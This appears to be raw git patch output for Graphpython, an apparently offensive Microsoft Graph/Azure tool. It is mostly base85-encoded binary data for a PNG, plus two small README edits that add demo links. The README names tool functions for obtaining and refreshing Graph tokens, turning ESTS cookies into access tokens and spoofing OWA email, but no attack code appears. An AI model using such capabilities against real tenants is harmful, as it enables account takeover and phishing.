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 From 6785bd104d975502e359113f944338106abda986 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 01:09:33 +0100 Subject: [PATCH 18/37] Update v1.0 --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 8afd4ab..338fade 100644 --- a/README.md +++ b/README.md @@ -213,6 +213,7 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy - [Authentication](https://github.com/mlcsec/Graphpython/wiki/Demos#authentication) - [Get-GraphTokens](https://github.com/mlcsec/Graphpython/wiki/Demos#get-graphtokens) - [Invoke-RefreshToAzureManagementToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtoazuremanagementtoken) + - [Invoke-RefreshToMSGraphToken]((https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtomsgraphtoken)) - [Invoke-CertToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-certtoaccesstoken) - [Invoke-ESTSCookieToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-estscookietoaccesstoken) - [Post-Auth Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-enumeration) @@ -229,6 +230,7 @@ The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpy - [Spoof-OWAEmailMessage](https://github.com/mlcsec/Graphpython/wiki/Demos#spoof-owaemailmessage) - [Find-DynamicGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-dynamicgroups) - [Find-UpdatableGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-updatablegroups) + - [Invoke-Search](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-search) - [Post-Auth Intune Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-enumeration) - [Get-ManagedDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-manageddevices) - [Get-UserDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userdevices) From ea737f0e98140bedf37f2cc95f3fca8faf23a3d9 Mon Sep 17 00:00:00 2001 From: mlcsec <47215311+mlcsec@users.noreply.github.com> Date: Wed, 24 Jul 2024 01:18:12 +0100 Subject: [PATCH 19/37] Update v1.0 --- .github/addapplicationcertificate-gen.png | Bin 0 -> 32051 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 .github/addapplicationcertificate-gen.png diff --git a/.github/addapplicationcertificate-gen.png b/.github/addapplicationcertificate-gen.png new file mode 100644 index 0000000000000000000000000000000000000000..766e3763d1bc301332d59835f6f46afdd161d698 GIT binary patch literal 32051 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 